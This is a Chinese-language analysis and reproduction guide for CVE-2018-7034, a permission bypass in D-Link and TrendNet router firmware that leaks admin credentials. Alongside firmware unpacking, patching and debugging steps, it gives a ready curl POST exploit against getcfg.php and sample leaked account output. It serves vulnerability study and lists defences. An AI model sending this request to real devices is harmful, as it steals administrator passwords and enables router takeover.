D-Link 登录信息泄露(权限绕过)漏洞分析报告(CVE-2018-7034)
字数 1662 2025-09-01 11:26:17
D-Link 登录信息泄露漏洞(CVE-2018-7034)深度分析与复现指南
漏洞概述
漏洞编号: CVE-2018-7034
影响设备: D-Link DIR645、DIR815等老设备,TrendNet TEW751等
漏洞类型: 权限绕过导致的信息泄露
风险等级: 高危
漏洞描述: 通过构造特殊的HTTP请求,攻击者可以绕过权限验证,直接访问设备配置文件,获取管理员账户和密码等敏感信息。
环境准备
复现环境
- 操作系统: Ubuntu 24.04.2 LTS
- 固件文件: TEW751DR_FW103B03.bin (可从提供的百度网盘链接下载)
工具准备
- 固件解包工具: binwalk
- 逆向分析工具: IDA Pro/Ghidra
- 调试工具: QEMU + GDB
- 网络工具: curl/wget, 浏览器
漏洞分析
漏洞位置
漏洞存在于固件的/htdocs/web/getcfg.php文件中,关键代码如下:
// 通过$AUTHORIZED_GROUP变量判断用户权限
if($AUTHORIZED_GROUP < 0) {
// 权限不足处理
} else {
// 加载指定配置文件
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
include "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
}
漏洞原理
- 可控文件包含:
$GETCFG_SVC变量直接来自用户可控的$_POST["SERVICES"]参数,导致可以控制/htdocs/webinc/getcfg/路径下的文件加载 - 敏感信息泄露:
/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php文件会遍历并输出系统路径/device/account/entry下的所有账户条目,包括用户名和密码 - 权限绕过: 需要绕过
$AUTHORIZED_GROUP >= 0的检查才能利用此漏洞
权限绕过机制分析
关键变量赋值点
通过搜索发现$AUTHORIZED_GROUP变量在两个地方被赋值:
/htdocs/web/wiz_freset.php- 用于出厂设置(不适用)/htdocs/cgibin- 主要分析目标
cgibin逆向分析
-
主要函数:
phpcgi_main -
关键结构:
sobj_new(): 创建存储解析字段的结构体sobj_add_string(): 将内容存入结构体
-
请求处理流程:
- 解析环境变量和POST数据
- 检查
CONTENT_TYPE是否为application/x-www-form-urlencoded - 通过
read函数读取POST请求内容 - 解析键值对形式的数据(以换行符分隔)
-
权限绕过技巧:
- 程序原本会设置
AUTHORIZED_GROUP=-1 - 通过在POST数据中提前插入
AUTHORIZED_GROUP=1,可以覆盖默认值 - 需要绕过
sess_validate()检查(需patch固件)
- 程序原本会设置
漏洞复现步骤
1. 环境搭建
# 解压固件
binwalk -Me TEW751DR_FW103B03.bin
# 设置QEMU环境
sudo cp -r squashfs-root /tmp
sudo chroot /tmp/squashfs-root /bin/sh
2. 修改cgibin文件
使用十六进制编辑器修改cgibin文件:
- 定位到
sess_validate()调用处 - 修改为
li $v0,-1指令
3. 调试脚本准备
start.sh:
#!/bin/sh
INPUT=`python -c "print 'AUTHORIZED_GROUP=1\nSERVICES=DEVICE.ACCOUNT\n'"`
LEN=$(echo -n "$INPUT" | wc -c)
export CONTENT_TYPE="application/x-www-form-urlencoded"
export CONTENT_LENGTH=$LEN
export REQUEST_URI="/getcfg.php"
export REQUEST_METHOD="POST"
export HTTP_COOKIE=""
export PWD="/"
export HOME="/"
export SCRIPT_NAME="/getcfg.php"
export SCRIPT_FILENAME="/htdocs/web/getcfg.php"
export QUERY_STRING=""
export SERVER_NAME="192.168.1.1"
export SERVER_PORT="80"
export SERVER_PROTOCOL="HTTP/1.1"
echo -n "$INPUT" | chroot . ./htdocs/cgibin
gdb脚本:
set args < start.sh
break *0x40445c
break *0x405ac0
run
4. 漏洞利用
实际利用时无需复杂调试,直接发送以下POST请求即可:
curl -X POST http://target-ip/getcfg.php -d "AUTHORIZED_GROUP=1
SERVICES=DEVICE.ACCOUNT"
5. 结果验证
成功利用后会返回包含账户信息的XML格式数据:
<account>
<entry>
<uid>Admin</uid>
<name>Admin</name>
<password>admin123</password>
<group>0</group>
<description>Admin</description>
</entry>
</account>
防御措施
-
厂商修复方案:
- 对用户输入进行严格过滤
- 使用固定会话验证机制
- 敏感配置文件增加访问控制
-
用户防护建议:
- 升级到最新固件版本
- 修改默认管理员密码
- 禁用不必要的远程管理功能
参考资源
- Dlink getcfg.php远程敏感信息读取漏洞分析-先知社区
- D-Link 登录信息泄露(越权)CVE-2018-7034漏洞分析
- 一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone
附录
受影响的完整设备列表
- D-Link DIR-645
- D-Link DIR-815
- TrendNet TEW-751DR
- 其他使用相同固件架构的D-Link/TrendNet设备
漏洞时间线
- 发现日期: 2018年初
- 披露日期: 2018年3月
- CVE分配日期: 2018年3月15日